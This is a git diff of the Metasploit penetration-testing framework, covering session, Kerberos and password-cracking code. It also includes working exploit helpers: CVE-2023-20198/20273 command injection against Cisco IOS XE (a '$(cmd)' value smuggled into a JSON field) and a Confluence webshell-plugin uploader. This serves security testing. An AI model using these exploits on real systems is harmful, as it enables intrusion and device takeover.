-0,0 +1,147 @@ +# -*- coding: binary -*- + +require 'rex/post/smb' + +class Msf::Sessions::SMB + # + # This interface supports basic interaction. + # + include Msf::Session::Basic + include Msf::Sessions::Scriptable + + # @return [Rex::Post::SMB::Ui::Console] The interactive console + attr_accessor :console + # @return [RubySMB::Client] The SMB client + attr_accessor :client + attr_accessor :platform, :arch + attr_reader :framework + + # @param[Rex::IO::Stream] rstream + # @param [Hash] opts + # @option opts [RubySMB::Client] :client + def initialize(rstream, opts = {}) + @client = opts.fetch(:client) + self.console = Rex::Post::SMB::Ui::Console.new(self) + super(rstream, opts) + end + + def bootstrap(datastore = {}, handler = nil) + session = self + session.init_ui(user_input, user_output) + + @info = "SMB #{datastore['USERNAME']} @ #{@peer_info}" + end + + def execute_file(full_path, args) + if File.extname(full_path) == '.rb' + Rex::Script::Shell.new(self, full_path).run(args) + else + console.load_resource(full_path) + end + end + + def process_autoruns(datastore) + ['InitialAutoRunScript', 'AutoRunScript'].each do |key| + next if datastore[key].nil? || datastore[key].empty? + + args = Shellwords.shellwords(datastore[key]) + print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'") + session.execute_script(args.shift, *args) + end + end + + def type + self.class.type + end + + # Returns the type of session. + # + def self.type + 'SMB' + end + + def self.can_cleanup_files + false + end + + # + # Returns the session description. + # + def desc + 'SMB' + end + + def address + return @address if @address + + @address, @port = self.client.dispatcher.tcp_socket.peerinfo.split(':') + @address + end + + def port + return @port if @port + + @address, @port = self.client.dispatcher.tcp_socket.peerinfo.split(':') + @port + end + + ## + # :category: Msf::Session::Interactive implementors + # + # Initializes the console's I/O handles. + # + def init_ui(input, output) + self.user_input = input + self.user_output = output + console.init_ui(input, output) + console.set_log_source(log_source) + + super + end + + ## + # :category: Msf::Session::Interactive implementors + # + # Resets the console's I/O handles. + # + def reset_ui + console.unset_log_source + console.reset_ui + end + + def exit + console.stop + end + + ## + # :category: Msf::Session::Interactive implementors + # + # Override the basic session interaction to use shell_read and + # shell_write instead of operating on rstream directly. + def _interact + framework.events.on_session_interact(self) + framework.history_manager.with_context(name: type.to_sym) do + _interact_stream + end + end + + ## + # :category: Msf::Session::Interactive implementors + # + def _interact_stream + framework.events.on_session_interact(self) + + console.framework = framework + # Call the console interaction of the smb client and + # pass it a block that returns whether or not we should still be + # interacting. This will allow the shell to abort if interaction is + # canceled. + console.interact { interacting != true } + console.framework = nil + + # If the stop flag has been set, then that means the user exited. Raise + # the EOFError so we can drop this handle like a bad habit. + raise EOFError if (console.stopped? == true) + end + +end diff --git a/lib/msf/base/sessions/ssh_command_shell_bind.rb b/lib/msf/base/sessions/ssh_command_shell_bind.rb index 6b6a86622b..a6bc1dd97b 100644 --- a/lib/msf/base/sessions/ssh_command_shell_bind.rb +++ b/lib/msf/base/sessions/ssh_command_shell_bind.rb @@ -287,6 +287,10 @@ module Msf::Sessions sock end + def supports_udp? + false + end + def create_server_channel(params) msf_channel = nil mutex = Mutex.new diff --git a/lib/msf/base/simple/exploit.rb b/lib/msf/base/simple/exploit.rb index 9325a0b96c..905223fe9c 100644 --- a/lib/msf/base/simple/exploit.rb +++ b/lib/msf/base/simple/exploit.rb @@ -172,6 +172,7 @@ module Exploit Msf::Simple::Exploit.exploit_simple(self, opts, &block) end + alias run_simple exploit_simple # # Initiates a check, setting up the exploit to be used. The following # options can be specified: diff --git a/lib/msf/core/auxiliary/password_cracker.rb b/lib/msf/core/auxiliary/password_cracker.rb index bae651e392..467c01e3e5 100644 --- a/lib/msf/core/auxiliary/password_cracker.rb +++ b/lib/msf/core/auxiliary/password_cracker.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- + require 'open3' require 'fileutils' require 'metasploit/framework/password_crackers/cracker' @@ -6,108 +7,106 @@ require 'metasploit/framework/password_crackers/wordlist' require 'metasploit/framework/password_crackers/jtr/formatter' require 'metasploit/framework/password_crackers/hashcat/formatter' - module Msf - -### -# -# This module provides methods for working with a Password Cracker -# -### -module Auxiliary::PasswordCracker - include Msf::Auxiliary::Report - + ### # - # Initializes an instance of an auxiliary module that calls out to John the Ripper (jtr) + # This module provides methods for working with a Password Cracker # + ### + module Auxiliary::PasswordCracker + include Msf::Auxiliary::Report - def initialize(info = {}) - super + # + # Initializes an instance of an auxiliary module that calls out to John the Ripper (jtr) + # - register_options( - [ - OptPath.new('CONFIG', [false, 'The path to a John config file to use instead of the default']), - OptPath.new('CUSTOM_WORDLIST', [false, 'The path to an optional custom wordlist']), - OptInt.new('ITERATION_TIMEOUT', [false, 'The max-run-time for each iteration of cracking']), - OptPath.new('CRACKER_PATH', [false, 'The absolute path to the cracker executable']), - OptInt.new('FORK', [false, 'Forks for John the Ripper to use',1]), - OptBool.new('KORELOGIC', [false, 'Apply the KoreLogic rules to John the Ripper Wordlist Mode(slower)', false]), - OptBool.new('MUTATE', [false, 'Apply common mutations to the Wordlist (SLOW)', false]), - OptPath.new('POT', [false, 'The path to a John POT file to use instead of the default']), - OptBool.new('USE_CREDS', [false, 'Use existing credential data saved in the database', true]), - OptBool.new('USE_DB_INFO', [false, 'Use looted database schema info to seed the wordlist', true]), - OptBool.new('USE_DEFAULT_WORDLIST', [false, 'Use the default metasploit wordlist', true]), - OptBool.new('USE_HOSTNAMES', [false, 'Seed the wordlist with hostnames from the workspace', true]), - OptBool.new('USE_ROOT_WORDS', [false, 'Use the Common Root Words Wordlist', true]) - ], Msf::Auxiliary::PasswordCracker - ) + def initialize(info = {}) + super - register_advanced_options( - [ - OptBool.new('DeleteTempFiles', [false, 'Delete temporary wordlist and hash files', true]), - OptBool.new('OptimizeKernel', [false, 'Utilize Optimized Kernels in Hashcat', true]), - OptBool.new('ShowCommand', [false, 'Print the cracker command being used', true]), - ], Msf::Auxiliary::PasswordCracker - ) - end + register_options( + [ + OptPath.new('CONFIG', [false, 'The path to a John config file to use instead of the default']), + OptPath.new('CUSTOM_WORDLIST', [false, 'The path to an optional custom wordlist']), + OptInt.new('ITERATION_TIMEOUT', [false, 'The max-run-time for each iteration of cracking']), + OptPath.new('CRACKER_PATH', [false, 'The absolute path to the cracker executable']), + OptInt.new('FORK', [false, 'Forks for John the Ripper to use', 1]), + OptBool.new('KORELOGIC', [false, 'Apply the KoreLogic rules to John the Ripper Wordlist Mode(slower)', false]), + OptBool.new('MUTATE', [false, 'Apply common mutations to the Wordlist (SLOW)', false]), + OptPath.new('POT', [false, 'The path to a John POT file to use instead of the default']), + OptBool.new('USE_CREDS', [false, 'Use existing credential data saved in the database', true]), + OptBool.new('USE_DB_INFO', [false, 'Use looted database schema info to seed the wordlist', true]), + OptBool.new('USE_DEFAULT_WORDLIST', [false, 'Use the default metasploit wordlist', true]), + OptBool.new('USE_HOSTNAMES', [false, 'Seed the wordlist with hostnames from the workspace', true]), + OptBool.new('USE_ROOT_WORDS', [false, 'Use the Common Root Words Wordlist', true]) + ], Msf::Auxiliary::PasswordCracker + ) - # @param pwd [String] Password recovered from cracking an LM hash - # @param hash [String] NTLM hash for this password - # @return [String] `pwd` converted to the correct case to match the - # given NTLM hash - # @return [nil] if no case matches the NT hash. This can happen when - # `pwd` came from a john run that only cracked half of the LM hash - def john_lm_upper_to_ntlm(pwd, hash) - pwd = pwd.upcase - hash = hash.upcase - Rex::Text.permute_case(pwd).each do |str| - if hash == Rex::Proto::NTLM::Crypt.ntlm_hash(str).unpack("H*")[0].upcase - return str - end + register_advanced_options( + [ + OptBool.new('DeleteTempFiles', [false, 'Delete temporary wordlist and hash files', true]), + OptBool.new('OptimizeKernel', [false, 'Utilize Optimized Kernels in Hashcat', true]), + OptBool.new('ShowCommand', [false, 'Print the cracker command being used', true]), + ], Msf::Auxiliary::PasswordCracker + ) end - nil - end + # @param pwd [String] Password recovered from cracking an LM hash + # @param hash [String] NTLM hash for this password + # @return [String] `pwd` converted to the correct case to match the + # given NTLM hash + # @return [nil] if no case matches the NT hash. This can happen when + # `pwd` came from a john run that only cracked half of the LM hash + def john_lm_upper_to_ntlm(pwd, hash) + pwd = pwd.upcase + hash = hash.upcase + Rex::Text.permute_case(pwd).each do |str| + if hash == Rex::Proto::NTLM::Crypt.ntlm_hash(str).unpack('H*')[0].upcase + return str + end + end + nil + end - # This method creates a new {Metasploit::Framework::PasswordCracker::Cracker} and populates - # some of the attributes based on the module datastore options. - # - # @return [nilClass] if there is no active framework db connection - # @return [Metasploit::Framework::PasswordCracker::Cracker] if it successfully creates a Password Cracker object - def new_password_cracker(cracking_application) - fail_with(Msf::Module::Failure::BadConfig, "Password cracking is not available without an active database connection.") unless framework.db.active - cracker = Metasploit::Framework::PasswordCracker::Cracker.new( + # This method creates a new {Metasploit::Framework::PasswordCracker::Cracker} and populates + # some of the attributes based on the module datastore options. + # + # @return [nilClass] if there is no active framework db connection + # @return [Metasploit::Framework::PasswordCracker::Cracker] if it successfully creates a Password Cracker object + def new_password_cracker(cracking_application) + fail_with(Msf::Module::Failure::BadConfig, 'Password cracking is not available without an active database connection.') unless framework.db.active + cracker = Metasploit::Framework::PasswordCracker::Cracker.new( config: datastore['CONFIG'], cracker_path: datastore['CRACKER_PATH'], max_runtime: datastore['ITERATION_TIMEOUT'], pot: datastore['POT'], optimize: datastore['OptimizeKernel'], wordlist: datastore['CUSTOM_WORDLIST'] - ) - cracker.cracker = cracking_application - begin - cracker.binary_path - rescue Metasploit::Framework::PasswordCracker::PasswordCrackerNotFoundError => e - fail_with(Msf::Module::Failure::BadConfig, e.message) + ) + cracker.cracker = cracking_application + begin + cracker.binary_path + rescue Metasploit::Framework::PasswordCracker::PasswordCrackerNotFoundError => e + fail_with(Msf::Module::Failure::BadConfig, e.message) + end + # throw this to a local variable since it causes a shell out to pull the version + cracker_version = cracker.cracker_version + if cracker.cracker == 'john' && (cracker_version.nil? || !cracker_version.include?('jumbo')) + fail_with(Msf::Module::Failure::BadConfig, 'John the Ripper JUMBO patch version required. See https://github.com/magnumripper/JohnTheRipper') + end + print_good("#{cracker.cracker} Version Detected: #{cracker_version}") + cracker end - # throw this to a local variable since it causes a shell out to pull the version - cracker_version = cracker.cracker_version - if cracker.cracker == 'john' && (cracker_version.nil? || !cracker_version.include?('jumbo')) - fail_with(Msf::Module::Failure::BadConfig, 'John the Ripper JUMBO patch version required. See https://github.com/magnumripper/JohnTheRipper') - end - print_good("#{cracker.cracker} Version Detected: #{cracker_version}") - cracker - end - # This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data - # out to a file and returns the {Rex::Quickfile} object. - # - # @param max_len [Integer] max length of a word in the wordlist, 0 default for ignored value - # @return [nilClass] if there is no active framework db connection - # @return [Rex::Quickfile] if it successfully wrote the wordlist to a file - def wordlist_file(max_len = 0) - return nil unless framework.db.active - wordlist = Metasploit::Framework::PasswordCracker::Wordlist.new( + # This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data + # out to a file and returns the {Rex::Quickfile} object. + # + # @param max_len [Integer] max length of a word in the wordlist, 0 default for ignored value + # @return [nilClass] if there is no active framework db connection + # @return [Rex::Quickfile] if it successfully wrote the wordlist to a file + def wordlist_file(max_len = 0) + return nil unless framework.db.active + + wordlist = Metasploit::Framework::PasswordCracker::Wordlist.new( custom_wordlist: datastore['CUSTOM_WORDLIST'], mutate: datastore['MUTATE'], use_creds: datastore['USE_CREDS'], @@ -116,20 +115,113 @@ module Auxiliary::PasswordCracker use_hostnames: datastore['USE_HOSTNAMES'], use_common_root: datastore['USE_ROOT_WORDS'], workspace: myworkspace - ) - wordlist.to_file(max_len) - end + ) + wordlist.to_file(max_len) + end - def already_cracked_pass(hash) - framework.db.creds({:pass => hash}).each do |test_cred| - test_cred.public.cores.each do |core| - if core.origin_type == "Metasploit::Credential::Origin::CrackedPassword" - return core.private.data + # This method determines if a given password hash already been cracked in the database + # + # @param hash [String] password hash to check against the database + # @return [Boolean] if the password has been cracked in the db + def password_cracked?(hash) + framework.db.creds({ pass: hash }).each do |test_cred| + test_cred.public.cores.each do |core| + if core.origin_type == 'Metasploit::Credential::Origin::CrackedPassword' + return true + end end end + false end - nil - end -end + # This method creates a job for the password cracker to do. A job is categorized by the hash type + # and will include the hash type (type), formatted_hashlist (hashes in the cracker's format), + # creds (db objects for each hash), and cred_ids_left_to_crack (array of db ids that aren't cracked yet) + # + # @param jtr_type [String] hash type we're cracking such as md5, sha1 + # @param cracker [String] the password cracker to use such as 'john' or 'hashcat' + # @return [Hash] of the data needed to crack as described above + def hash_job(jtr_type, cracker) + # create the base data + job = { 'type' => jtr_type, 'formatted_hashlist' => [], 'creds' => [], 'cred_ids_left_to_crack' => [] } + job['db_formats'] = Metasploit::Framework::PasswordCracker::JtR::Formatter.jtr_to_db(jtr_type) + if jtr_type == 'dynamic_1034' # postgres + creds = framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::PostgresMD5') + elsif ['lm', 'nt'].include? jtr_type + creds = framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NTLMHash') + else + creds = framework.db.creds(workspace: myworkspace, type: 'Metasploit::Credential::NonreplayableHash') + end + creds.each do |core| + jtr_format = core.private.jtr_format + + # Unfortunately NTLMHash always set JtR Format to 'nt,lm' so we have to do a special case here + # to figure out which it is + if jtr_format == 'nt,lm' + jtr_format = core.private.data.start_with?('aad3b435b51404eeaad3b435b51404ee') ? 'nt' : 'lm' + end + + next unless job['db_formats'].include? jtr_format + # only add hashes which havne't been cracked + next if password_cracked?(core.private.data) + + job['creds'] << core + job['cred_ids_left_to_crack'] << core.id + if cracker == 'john' + job['formatted_hashlist'] << Metasploit::Framework::PasswordCracker::JtR::Formatter.hash_to_jtr(core) + elsif cracker == 'hashcat' + job['formatted_hashlist'] << Metasploit::Framework::PasswordCracker::Hashcat::Formatter.hash_to_hashcat(core) + end + end + + if job['creds'].length > 0 + return job + end + + nil + end + + # This method takes a results table, and a newly cracked cred, and adds the cred to the table if + # it isn't there already. It also creates the cracked credential in the database. + # + # @param results [Hash] Hash of the newly cracked cred information, should have hash_type, method, username + # core_id, and password fields. + # @return [Array] Array of results for printing in a table + def process_cracker_results(results, cred) + return results if cred['core_id'].nil? # make sure we have good data + + # make sure we dont add the same one again + if results.select { |r| r.first == cred['core_id'] }.empty? + results << [cred['core_id'], cred['hash_type'], cred['username'], cred['password'], cred['method']] + end + + create_cracked_credential(username: cred['username'], password: cred['password'], core_id: cred['core_id']) + results + end + + # This method appends a list of cracked hashes to the list used to generate the printed table + # + # @param tbl [Array] Array of all results that have been cracked + # @param cracked_hashes [Array] Array of results to add to the table + # @return [String] the table in string format for printing + def append_results(tbl, cracked_hashes) + cracked_hashes.each do |row| + next if tbl.rows.include? row + + tbl << row + end + tbl.to_s + end + + # This method returns a cracker results table + # + # @return [Rex::Text::Table] table for printing results + def cracker_results_table + Rex::Text::Table.new( + 'Header' => 'Cracked Hashes', + 'Indent' => 1, + 'Columns' => ['DB ID', 'Hash Type', 'Username', 'Cracked Password', 'Method'] + ) + end + end end diff --git a/lib/msf/core/exploit/remote/db2.rb b/lib/msf/core/exploit/remote/db2.rb index 47bf07dc66..0e3183ba7f 100644 --- a/lib/msf/core/exploit/remote/db2.rb +++ b/lib/msf/core/exploit/remote/db2.rb @@ -44,7 +44,7 @@ module Exploit::Remote::DB2 return {} if not resp return {} if resp.length == 0 - pkt = Rex::Proto::DRDA::SERVER_PACKET.new.read(resp) + pkt = Rex::Proto::DRDA::Packet::SERVER_PACKET.new.read(resp) return Rex::Proto::DRDA::Utils.server_packet_info(pkt) end @@ -58,7 +58,7 @@ module Exploit::Remote::DB2 resp = sock.get_once return {} if not resp return {} if resp.length == 0 - pkt = Rex::Proto::DRDA::SERVER_PACKET.new.read(resp) + pkt = Rex::Proto::DRDA::Packet::SERVER_PACKET.new.read(resp) return Rex::Proto::DRDA::Utils.server_packet_info(pkt) end diff --git a/lib/msf/core/exploit/remote/dcerpc.rb b/lib/msf/core/exploit/remote/dcerpc.rb index 31d872b52e..e115b8ee2c 100644 --- a/lib/msf/core/exploit/remote/dcerpc.rb +++ b/lib/msf/core/exploit/remote/dcerpc.rb @@ -55,7 +55,11 @@ module Exploit::Remote::DCERPC end def dcerpc_handle(uuid, version, protocol, opts) - self.handle = Rex::Proto::DCERPC::Handle.new([uuid, version], protocol, rhost, opts) + dcerpc_handle_target(uuid, version, protocol, opts, rhost) + end + + def dcerpc_handle_target(uuid, version, protocol, opts, target) + self.handle = Rex::Proto::DCERPC::Handle.new([uuid, version], protocol, target, opts) end def dcerpc_bind(h) @@ -211,4 +215,3 @@ module Exploit::Remote::DCERPC end end - diff --git a/lib/msf/core/exploit/remote/dcerpc/kerberos_authentication.rb b/lib/msf/core/exploit/remote/dcerpc/kerberos_authentication.rb new file mode 100755 index 0000000000..e89c3f318e --- /dev/null +++ b/lib/msf/core/exploit/remote/dcerpc/kerberos_authentication.rb @@ -0,0 +1,133 @@ +# -*- coding: binary -*- + +# +# This class implements an override for RubySMB's default authentication method to instead +# use a kerberos authenticator +# +module Msf::Exploit::Remote::DCERPC::KerberosAuthentication + # @param [Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::SMB] kerberos_authenticator The authenticator to make the required Kerberos requests + def kerberos_authenticator=(kerberos_authenticator) + @kerberos_authenticator = kerberos_authenticator + end + + # Initialize the auth provider using Kerberos + # @return Serialized message for initializing the auth provider + def auth_provider_init + kerberos_result = @kerberos_authenticator.authenticate + @application_key = @session_key = kerberos_result[:session_key] + @client_sequence_number = kerberos_result[:client_sequence_number] + kerberos_result[:security_blob] + end + + # Encrypt the value in dcerpc_req, and add a valid signature to the request. + # This function modifies the request object in-place, and does not return anything. + # @param dcerpc_req [Request] The Request object to be encrypted and signed in-place + def auth_provider_encrypt_and_sign(dcerpc_req) + auth_pad_length = get_auth_padding_length(dcerpc_req.stub.to_binary_s.length) + plain_stub = dcerpc_req.stub.to_binary_s + "\x00" * auth_pad_length + emessage, header_length, krb_pad_length = self.krb_encryptor.encrypt_and_increment(plain_stub) + + encrypted_stub = emessage[header_length..-1] + signature = emessage[0,header_length] + set_encrypted_packet(dcerpc_req, encrypted_stub, auth_pad_length) + set_signature_on_packet(dcerpc_req, signature) + end + + # Decrypt the value in dcerpc_response, and validate its signature. + # This function modifies the request object in-place, and returns whether the signature was valid. + # @param dcerpc_response [Response] The Response packet to decrypt and verify in-place + # @raise ArgumentError If the auth type is not SPNEGO (which ultimately wraps Kerberos) + # @return [Boolean] Is the packet's signature valid? + def auth_provider_decrypt_and_verify(dcerpc_response) + auth_type = dcerpc_response.sec_trailer.auth_type + unless [RubySMB::Dcerpc::RPC_C_AUTHN_GSS_NEGOTIATE].include?(auth_type) + raise ArgumentError, "Unsupported Auth Type: #{dcerpc_response.sec_trailer.auth_type}" + end + encrypted_stub = get_response_full_stub(dcerpc_response) + signature = dcerpc_response.auth_value + data = signature + encrypted_stub + + begin + result = self.krb_encryptor.decrypt_and_verify(data) + rescue Rex::Proto::Kerberos::Model::Error::KerberosError + return false + end + set_decrypted_packet(dcerpc_response, result) + + true + end + + def build_ap_rep(session_key, sequence_number) + pvno = Rex::Proto::Kerberos::Model::VERSION + msg_type = Rex::Proto::Kerberos::Model::AP_REP + ctime = Time.now.utc + cusec = ctime&.usec + + encrypted_part = Rex::Proto::Kerberos::Model::EncApRepPart.new( + ctime: ctime, + cusec: cusec, + sequence_number: sequence_number, + enc_key_usage: Rex::Proto::Kerberos::Crypto::KeyUsage::AP_REP_ENCPART + ) + enc_aprep = Rex::Proto::Kerberos::Model::EncryptedData.new( + etype: session_key.type, + cipher: encrypted_part.encrypt(session_key.type, session_key.value) + ) + + Rex::Proto::Kerberos::Model::ApRep.new( + pvno: pvno, + msg_type: msg_type, + enc_part: enc_aprep + ) + end + + def auth_provider_complete_handshake(response, options) + begin + @kerberos_authenticator.validate_response!(response.auth_value, accept_incomplete: true) + gss_api = OpenSSL::ASN1.decode(response.auth_value) + security_blob = ::RubySMB::Gss.asn1dig(gss_api, 0, 2, 0)&.value + ap_rep = Rex::Proto::Kerberos::Model::ApRep.decode(security_blob) + ap_rep_enc_part = ap_rep.decrypt_enc_part(@session_key.value) + rescue ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, + ::Rex::Proto::Kerberos::Model::Error::KerberosError, + OpenSSL::ASN1::ASN1Error => e + raise RubySMB::Dcerpc::Error::BindError, e.message # raise the more context-specific BindError + end + server_sequence_number = ap_rep_enc_part.sequence_number + # Now complete the handshake - see [MS-KILE] 3.4.5.1 - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/190ab8de-dc42-49cf-bf1b-ea5705b7a087 + response_ap_rep = build_ap_rep(@session_key, server_sequence_number) + + wrapped_ap_rep = OpenSSL::ASN1::ASN1Data.new([ + OpenSSL::ASN1::Sequence.new([ + OpenSSL::ASN1::ASN1Data.new([ + OpenSSL::ASN1::OctetString(response_ap_rep.encode) + ], 2, :CONTEXT_SPECIFIC) + ]) + ], 1, :CONTEXT_SPECIFIC).to_der + + alter_ctx = RubySMB::Dcerpc::AlterContext.new(options) + alter_ctx.pdu_header.call_id = @call_id + + add_auth_verifier(alter_ctx, wrapped_ap_rep) + + send_packet(alter_ctx) + + begin + dcerpc_response = recv_struct(RubySMB::Dcerpc::AlterContextResp) + rescue RubySMB::Dcerpc::Error::InvalidPacket + raise RubySMB::Dcerpc::Error::BindError, e.message # raise the more context-specific BindError + end + + self.krb_encryptor = @kerberos_authenticator.get_message_encryptor(ap_rep_enc_part.subkey, + @client_sequence_number, + server_sequence_number) + # Set the session key value on the parent class - needed for decrypting attribute values in e.g. DRSR + @session_key = ap_rep_enc_part.subkey.value + end + + def get_auth_padding_length(plaintext_len) + (16 - (self.krb_encryptor.calculate_encrypted_length(plaintext_len) % 16)) % 16 + end + + attr_accessor :krb_encryptor +end diff --git a/lib/msf/core/exploit/remote/http/atlassian/confluence/payload_plugin.rb b/lib/msf/core/exploit/remote/http/atlassian/confluence/payload_plugin.rb new file mode 100644 index 0000000000..a2e9f97e1b --- /dev/null +++ b/lib/msf/core/exploit/remote/http/atlassian/confluence/payload_plugin.rb @@ -0,0 +1,141 @@ +module Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin + + include Msf::Exploit::Retry + def get_upm_token(admin_username, admin_password) + # https://github.com/atlassian-api/atlassian-python-api/blob/master/atlassian/jira.py#L3356-L3361 + res = send_request_cgi({ + 'method' => 'HEAD', + 'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0/'), + 'headers' => { + 'X-Atlassian-Token' => 'no-check', + 'Authorization' => basic_auth(admin_username, admin_password), + 'Accept' => '*/*' + } + }) + fail_with(Failure::UnexpectedReply, 'Unable to retrieve the UPM token using the rest API') unless res&.code == 200 && res&.headers&.[]('upm-token') + + res.headers['upm-token'] + end + + def generate_payload_plugin(plugin_key, payload_endpoint) + vprint_status('Generating payload plugin') + webshell_jar = payload.encoded_jar(random: true) + + webshell_jar.add_file( + 'atlassian-plugin.xml', + %( + + + #{rand_text_alphanumeric(8)} + #{rand(1024)}.#{rand(1024)} + + + #{normalize_uri(payload_endpoint)} + +) + ) + + webshell_jar.add_file('metasploit/PayloadServlet.class', MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')) + return webshell_jar.pack + end + + def upload_payload_plugin(webshell_jar, admin_username, admin_password) + vprint_status('Uploading payload plugin') + post_data = Rex::MIME::Message.new + post_data.add_part(webshell_jar, 'application/java-archive', 'binary', "form-data; name=\"plugin\"; filename=\"#{rand_text_alphanumeric(8..16)}.jar\"") + post_data.add_part('', nil, nil, 'form-data; name="url"') + + data = post_data.to_s + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0/'), + 'method' => 'POST', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'headers' => { + 'Authorization' => basic_auth(admin_username, admin_password), + 'Accept' => '*/*' + }, + 'vars_get' => { + 'token' => get_upm_token(admin_username, admin_password) + } + }) + + unless res&.code == 202 + fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply code from endpoint: /rest/plugins/1.0/') + end + + unless res.body =~ %r{} + fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply data from endpoint: /rest/plugins/1.0/') + end + + begin + plugin_json = JSON.parse(::Regexp.last_match(1)) + rescue JSON::ParserError + fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, failed to parse JSON data from endpoint: /rest/plugins/1.0/') + end + + # We receive a JSON object like this: + # + + links_alternate = plugin_json&.dig('links', 'alternate') + if links_alternate.nil? + fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, no alternate link in reply from endpoint: /rest/plugins/1.0/') + end + + # The plugin is installed asynchronously, so we poll the server for installation to be completed. + plugin_ready = retry_until_truthy(timeout: datastore['CONFLUENCE_PLUGIN_TIMEOUT']) do + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, links_alternate) + ) + + # We receive a JSON result to indicate if the plugin is finished installing. + # {"links":{"self":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc","result":"/rest/plugins/1.0/plkWITNH-key"},"done":true,"type":"INSTALL","progress":1.0,"pollDelay":100,"timestamp":1697471602188} + + if res&.code == 200 + begin + res_json = JSON.parse(res.body) + next res_json['done'] + rescue JSON::ParserError + next false + end + end + + false + end + + unless plugin_ready + fail_with(Failure::TimeoutExpired, 'Uploading plugin failed, timeout while waiting to install.') + end + + end + + def trigger_payload_plugin(payload_endpoint) + vprint_status('Triggering payload plugin') + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'plugins', 'servlet', payload_endpoint) + ) + + unless res&.code == 200 + fail_with(Failure::PayloadFailed, "Triggering payload failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}") + end + end + + def delete_payload_plugin(plugin_key, payload_endpoint, admin_username, admin_password) + vprint_status('Deleting plugin...') + + res = send_request_cgi( + 'method' => 'DELETE', + 'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0', "#{plugin_key}-key"), + 'headers' => { + 'Authorization' => basic_auth(admin_username, admin_password), + 'Connection' => 'close' + } + ) + + unless res&.code == 204 + print_warning("Deleting plugin failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}") + end + end +end \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/http/atlassian/confluence/version.rb b/lib/msf/core/exploit/remote/http/atlassian/confluence/version.rb new file mode 100644 index 0000000000..c7c95d34d2 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/atlassian/confluence/version.rb @@ -0,0 +1,16 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version + def get_confluence_version + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'login.action') + ) + return nil unless res&.code == 200 + + poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text + return nil unless poweredby =~ /Confluence (\d+(\.\d+)*)/ + + Rex::Version.new(Regexp.last_match(1)) + end +end \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/http/cisco_ios_xe.rb b/lib/msf/core/exploit/remote/http/cisco_ios_xe.rb new file mode 100644 index 0000000000..735f568211 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/cisco_ios_xe.rb @@ -0,0 +1,104 @@ +module Msf + module Exploit::Remote::HTTP::CiscoIosXe + + class Mode + USER_EXEC = :user # User EXEC + PRIVILEGED_EXEC = :privileged # Privileged EXEC + GLOBAL_CONFIGURATION = :global # Global Configuration + + def self.to_mode(str) + case str.to_sym + when USER_EXEC + USER_EXEC + when PRIVILEGED_EXEC + PRIVILEGED_EXEC + when GLOBAL_CONFIGURATION + GLOBAL_CONFIGURATION + end + end + end + + # Leverage CVE-2023-20198 to run an arbitrary CLI command against a vulnerable Cisco IOX XE device. + def run_cli_command(cmd, mode, username = 'vty0') + + case mode + when Mode::USER_EXEC + cmd = "exit\nexit\n" + cmd + when Mode::PRIVILEGED_EXEC + cmd = "exit\n" + cmd + end + + # As we place the cmd in CDATA, we cannot have the closing tag in the command. + if cmd.include? ']]>' + print_error("CLI command contain bad sequence ']]>'.") + return nil + end + + xml = %( + + + + + #{username} + ***** + + + + + + + + + + + + + ) + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => '/%2577ebui_wsma_https', + 'data' => xml + ) + + return nil unless res&.code == 200 + + xml_doc = Nokogiri::XML(res.body) + + xml_doc.remove_namespaces! + + result = '' + + xml_doc.xpath('//Envelope/Body/response/resultEntry/text').each do |val1| + result << val1.content.gsub(/^\*\*CLI Line # \d+: /, '') + end + + result + end + + # Leverage CVE-2023-20273 to run an arbitrary OS command against a vulnerable Cisco IOX XE device. + def run_os_command(cmd, admin_username, admin_password) + # https://blog.leakix.net/2023/10/cisco-root-privesc/ reports that on version 17.* 'installMethod' is now 'mode'. + # We pass both to satisfy either version. + json = %({ + "installMethod": "tftp", + "mode": "tftp", + "ipaddress": "#{Rex::Text.rand_text_hex(4)}:#{Rex::Text.rand_text_hex(4)}:#{Rex::Text.rand_text_hex(4)}:$(#{cmd})", + "operation_type": "SMU", + "filePath": "#{Rex::Text.rand_text_alpha(8)}", + "fileSystem": "flash:" +}) + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri('webui', 'rest', 'softwareMgmt', 'installAdd'), + 'headers' => { + 'Authorization' => basic_auth(admin_username, admin_password) + }, + 'data' => json + ) + + res&.code == 200 + end + end +end diff --git a/lib/msf/core/exploit/remote/kerberos/auth_brute.rb b/lib/msf/core/exploit/remote/kerberos/auth_brute.rb index 8e33564565..e7958b06df 100644 --- 